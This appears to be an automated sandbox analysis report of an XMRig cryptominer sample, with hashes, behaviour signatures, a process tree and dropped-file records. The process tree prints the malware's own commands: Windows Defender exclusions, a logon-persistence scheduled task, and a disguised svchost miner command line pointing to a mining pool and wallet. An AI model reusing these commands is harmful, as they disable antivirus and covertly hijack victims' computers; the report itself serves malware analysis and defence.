Analysis

  • max time kernel
    1200s
  • max time network
    1187s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    04/09/2024, 18:22

General

  • Target

    test.exe

  • Size

    29.7MB

  • MD5

    531a4e282c420c64d7b545a9c4e0fb4d

  • SHA1

    998d298e9ff967bec6f03bf8e8e8f03b4b3728db

  • SHA256

    98ced6e951485c45ebdeda3bbc04bd2918867e0490900b39789d9b4637a7409c

  • SHA512

    c1d8296e2ba1e1ca9e1860548b884414e2cde06c584c40a4306d248b9c9ccbbff7e55a717d742ea14cc849db41838cfa6feb7638d888c627ff95abcb13df6730

  • SSDEEP

    786432:k99QkndbvqJ6+eH57FU4hxLq54xTxyCuYWQzJ2Mbvn:i1nM8hHxPhxO5iTECuYWQzJ7bv

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\test.exe
    "C:\Users\Admin\AppData\Local\Temp\test.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4760
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\test.exe"
      2⤵
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:508
      • C:\Windows\System32\cmd.exe
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4248
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2988
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3696
      • C:\Windows\System32\cmd.exe
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2648
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3820
      • C:\Windows\System32\cmd.exe
        "cmd" cmd /c "C:\Windows\system32\services64.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1568
        • C:\Windows\system32\services64.exe
          C:\Windows\system32\services64.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4352
          • C:\Windows\System32\conhost.exe
            "C:\Windows\System32\conhost.exe" "C:\Windows\system32\services64.exe"
            5⤵
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2608
            • C:\Windows\System32\cmd.exe
              "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:976
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1008
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4092
            • C:\Windows\System32\svchost.exe
              C:\Windows/System32\svchost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:3333 --user=47nUe8D3z4bjgwqG9v4tKY3sBMcoEdvQ3iJMC8A8udU7DngaeR7hNhKETaaQD1iWhadw6j9iNWqf6fKiVcMy35kdVbxAzyD --pass= --cpu-max-threads-hint=60 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=80 --tls --cinit-stealth
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:2412
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /4
    1⤵
    • Drops file in Windows directory
    • Checks SCSI registry key(s)
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    PID:4628
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:756

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

      Filesize

      646B

      MD5

      bf38f16ed068942cc8702d531b1650e5

      SHA1

      36c09a518beeb0db3d7e4cad6c2bbf1bc4f5ed90

      SHA256

      72c9c0870bfec80a95bb63038304da81999329f6343e6b8069149ca535d49e10

      SHA512

      1cbd6c7777301f24fd8cb2335004377370a8a24fadb0fa4bc61de814dd39a058ff2f419cefd462f30322eceb1ff17d3cd7cf1af97a8f1aaa3d00595129104368

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      ad5cd538ca58cb28ede39c108acb5785

      SHA1

      1ae910026f3dbe90ed025e9e96ead2b5399be877

      SHA256

      c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

      SHA512

      c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      b783059311d7328ede7eda577b57aea1

      SHA1

      a44bfd9620dce8dfd21f32c914418793613ac0e2

      SHA256

      edb331b6f541b3ed25ccebce21a68d387172e921a346f50be0607603cae82792

      SHA512

      c7f6065f48d2989c217e14b8f7b52c031c2817c37358b8175d346e0f1e3a96a8d904fd7b782f850373db01fccc5b45168512b7f53676eda9597f5719cd380c89

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      5d923fce79e54a4ebaea99fad3df064f

      SHA1

      3af4022afe01f60600ce23725098e22fe3106c80

      SHA256

      e071c100a5c958e649d64eb4395b9cb9a49a1add8bac909854b1533ca3382eb4

      SHA512

      cf65f9d2a436856b6210b586922978c27d956cda39b042a5f966452c68cd769a1f28d5b457f1ff494bd370492111aa1ebd3da7e938ed8ff7d1000e7c8226fac3

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      7743155f18c510ac0a11f9f1095b2bf0

      SHA1

      08ca9769d271b2ea3c8b4561259b66e354db54ff

      SHA256

      984e2bdeaf8e50c76b4d5506ab77f1a475c9709626ca0e7b5f427abe6b819262

      SHA512

      5aa4c0aa0c3aa231f74918c6a4016d70a8d291d20e09abcbdcbf92121a9577e4cbc410e86183feb75c290332d2117f7bf2c9bad65b82cc2c6a6c05a42e2d8cb4

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_syqnrcml.aql.ps1

      Filesize

      1B

      MD5

      c4ca4238a0b923820dcc509a6f75849b

      SHA1

      356a192b7913b04c54574d18c28d46e6395428ab

      SHA256

      6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

      SHA512

      4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

    • C:\Windows\System32\services64.exe

      Filesize

      29.7MB

      MD5

      531a4e282c420c64d7b545a9c4e0fb4d

      SHA1

      998d298e9ff967bec6f03bf8e8e8f03b4b3728db

      SHA256

      98ced6e951485c45ebdeda3bbc04bd2918867e0490900b39789d9b4637a7409c

      SHA512

      c1d8296e2ba1e1ca9e1860548b884414e2cde06c584c40a4306d248b9c9ccbbff7e55a717d742ea14cc849db41838cfa6feb7638d888c627ff95abcb13df6730

    • memory/508-102-0x00007FFCAC3F0000-0x00007FFCACDDC000-memory.dmp

      Filesize

      9.9MB

    • memory/508-6-0x00007FFCAC3F0000-0x00007FFCACDDC000-memory.dmp

      Filesize

      9.9MB

    • memory/508-3-0x00007FFCAC3F3000-0x00007FFCAC3F4000-memory.dmp

      Filesize

      4KB

    • memory/508-13-0x00007FFCAC3F0000-0x00007FFCACDDC000-memory.dmp

      Filesize

      9.9MB

    • memory/508-12-0x00007FFCAC3F0000-0x00007FFCACDDC000-memory.dmp

      Filesize

      9.9MB

    • memory/508-10-0x000001C89ACA0000-0x000001C89ACAA000-memory.dmp

      Filesize

      40KB

    • memory/508-101-0x00007FFCAC3F3000-0x00007FFCAC3F4000-memory.dmp

      Filesize

      4KB

    • memory/508-0-0x000001C8954C0000-0x000001C897276000-memory.dmp

      Filesize

      29.7MB

    • memory/508-109-0x00007FFCAC3F0000-0x00007FFCACDDC000-memory.dmp

      Filesize

      9.9MB

    • memory/508-9-0x000001C89AC60000-0x000001C89AC72000-memory.dmp

      Filesize

      72KB

    • memory/508-7-0x000001C8B5310000-0x000001C8B70C6000-memory.dmp

      Filesize

      29.7MB

    • memory/2412-171-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2412-164-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2412-168-0x00000245EB890000-0x00000245EB8B0000-memory.dmp

      Filesize

      128KB

    • memory/2412-167-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2412-172-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2412-173-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2412-170-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2412-169-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2412-221-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2412-229-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2412-228-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2988-18-0x0000014B3AF20000-0x0000014B3AF42000-memory.dmp

      Filesize

      136KB

    • memory/2988-21-0x0000014B3B1E0000-0x0000014B3B256000-memory.dmp

      Filesize

      472KB